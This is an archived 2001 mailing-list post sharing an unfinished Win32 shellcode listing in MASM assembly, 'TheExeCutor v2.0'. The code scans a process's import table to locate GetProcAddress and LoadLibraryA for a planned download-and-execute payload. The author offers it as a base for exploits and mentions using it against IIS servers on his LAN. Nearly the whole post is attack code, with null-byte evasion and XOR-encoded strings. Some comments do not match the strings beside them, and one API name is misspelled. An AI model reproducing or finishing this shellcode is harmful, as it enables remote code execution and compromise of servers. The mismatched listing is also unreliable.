Vulnerability Development mailing list archives

TheExeCutor v2.0 A PRE Release


From: "Enrique A. Compañ Gzz." <enrique () virtekweb net>
Date: Mon, 24 Sep 2001 13:07:38 -0500

OK. Some people asked to view the code of the new shellcode. This
ones scans the Import table @ 400000 (you can change this) to find
GetProcAddress.

This way, an exploit shoudn't fail, unless you give a badd return
address....
Again, the base addresses are constant... and that is not a problem.

The code is not finished, but the basic stuff is done: GetProcAddress found,
and then
call it to find LoadLibraryA.

The code ends with an INT 3........ you can add your stuff there.

For down&exe, I'm calling the old functions like "InternetOpenHandle" and
the other one, because
I'm coding an exploit for one of the vuln of IIS, I found that the function
to do the same from urlmon dll fails to execute in this specific case....
that's why. I'm trying to get inside one of the servers in my
LAN by exploiting this vuln, I haven't got results because all the exploits
out there have the same
problem, the hard coded values. That's why I decided to start writting this
stuff.

BTW The PE Format is well documented, you can find lots of documents
describing it....it is not
something to fear or to be seen as black magic stuff. Read ;-)


Anyway... this code is very useful, you can use if as the base for all your
exploits.......

In the meanwhile I'm working on the win32 alphanumeric shellcode and
finishing other stuff.

PD sorry for the awful text formating of the code.. I'll post the complete
version exported to C soon.


 TheExEcutor v2.0 Class A - Special Win32 Shell Code
;---------------------------------------------------------------------------
--------
;
; Copyright (c) 2001 by Enrique A. Compañ Gzz.
;
; Virtek Labs
;
; http://www.virtekweb.net/labs
;
;
; Downloads & Executes a file. It scans the **IMPORT** table @ base address
400000h
; by default (you can change this) to locate the function addresses. This
way we
; avoid hard coded values unlike almost all other shellcodes.
;
;
; Should Work 99% of the time.
;
;

.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
.data
data db "TheExeCutor v2.0 Class A"
.code

CODE_LEN EQU (shell_code_end-code_start)
VARS_LEN EQU (vars_end-vars_start)

shell_code_start:


; Temporary Code to copy the code to the stack (for command-line testing)
;
 sub esp, 500
 mov ecx, CODE_LEN
 mov edi, esp
 mov esi, code_start
 cld
 rep movsb
 jmp esp


code_start:

        jmp trick_to_avoid_nulls

call_back:

        pop esi


;------------[ Real Code Start ]------------
;
; "esi" points to the beginning of the variables.
;


real_code_start:


 mov ebp, esp        ; Normalize the stack


 xor dword ptr [esi], 0ffffffffh      ; Decode the base address (000400000h
          ; by default)
 push esi
 add esi, 3

decode_vars:         ; Turn the 0ffh's of our vars into 00h's
 inc esi
 cmp byte ptr [esi], 0ffh
 jne skip_xor
 xor byte ptr [esi], 0ffh
skip_xor:
 cmp [esi+1], dword ptr 'EKIK'
 jne decode_vars

        pop esi

;
; ITable's RVA @ "PE"+78h+xxh
;

 mov eax, dword ptr [esi]      ; EAX = base address
 lea eax, [eax+3ch]
 mov edx, eax        ; Avoid NULLs...
 mov eax, dword ptr [edx]
 add eax, dword ptr [esi]
 lea eax, [eax+7fh]
 inc eax
 mov edx, eax
 mov eax, dword ptr [edx]
 add eax, dword ptr [esi]
 mov ebx, eax        ; EBX = Import Table's address

search_kernel_loop:

 lea ebx, [ebx+0ch]       ; Get the first RVA to the DLL name
 mov ecx, dword ptr [esi]
 add ecx, dword ptr [ebx]
 cmp [ecx], dword ptr 'NREK'      ; Is it Kernel32.dll?
 je found_kernel
 lea ebx, [ebx+08h]

 jmp search_kernel_loop

found_kernel:

 mov eax, dword ptr [ebx-12]
 add eax, dword ptr [esi]     ; EAX = Func. names RVAs address
 xor edx, edx

search_getprocaddress_loop:

 mov ecx, dword ptr [eax]     ;
 add ecx, dword ptr [esi]     ; ECX = Function's name address
 add ecx, 2
 cmp [ecx], dword ptr 'PteG'       ; Is it GetProcAddress?
 jne not_it
 cmp [ecx+4], dword ptr 'Acor'       ; Is it GetProcAddress?
 jne not_it
 je found_getprocaddress
not_it:
 add eax, 04h       ; Next Function Name RVA
 inc edx
 jmp search_getprocaddress_loop

found_getprocaddress:

 jmp avoid_it
trick_to_avoid_nulls:
        jmp pi_offset
avoid_it:

 add ebx, 4
 mov ebx, dword ptr [ebx]
 add ebx, dword ptr [esi]
 xor eax, eax
 mov al, 4
 mul edx
 add ebx, eax

 mov edx, dword ptr [ebx]    ; Finally! EdX = GetProcAddress address

 mov ecx, edx
 xor cx, cx
 add esi, 4
 push esi
 push ecx
 call edx

 int 3


;; call AnyPopup ; Dumb Call
;; call ExitProcess ; Dumb call
;; call LoadLibrary ; Dumb Call
;; call GetProcAddress ; Dumb call

real_code_end:

;------------[ Real Code END ]------------


pi_offset:

        call call_back


;------------[ Variables START]------------
;
; NULL chars are XORed with 0ffh to avoid nulls.
; Not everything is XORed because most of the vars
; contain alphanumeric values, generally valid, most
; of the time. XORing generally valid, alphanumeric
; values, only increases the chance of generating
; "bad" chars.
;

vars_start:

   db 0ffh,0ffh,0bfh,0ffh       ; 000400000h Base Address XORed with
0ffffffffh
        ; and reversed.
        ; You can change this. i.e. inetinfo.exe
        ; base address = 01000000h, then XOR it with
          ; 0ffffffffh     0ffh,0ffh,0bfh,0ffh  0ffh,0ffh,0ffh,0feh

   db "LoadLibraryA",0ffh       ; "LoadLibraryA",0
   db "ExitProcess",0ffh        ; "ExitProcess",0

   db "WININET",0ffh     ; "WININET",0
   db "InternetOpenA",0ffh    ; "GetModuleHandle",0
          db "InternetCloseHandle",0ffh    ; "LoadLibraryA",0
   db "InternetOpenUllA",0ffh       ; "ExitProcess",0
   db "InternetReadFile",0ffh       ; "ExitProcess",0

          db "KIKE"        ; END Marker

vars_end:

;------------[ Variables END]------------


shell_code_end:

end shell_code_start



Good Luck


Current thread: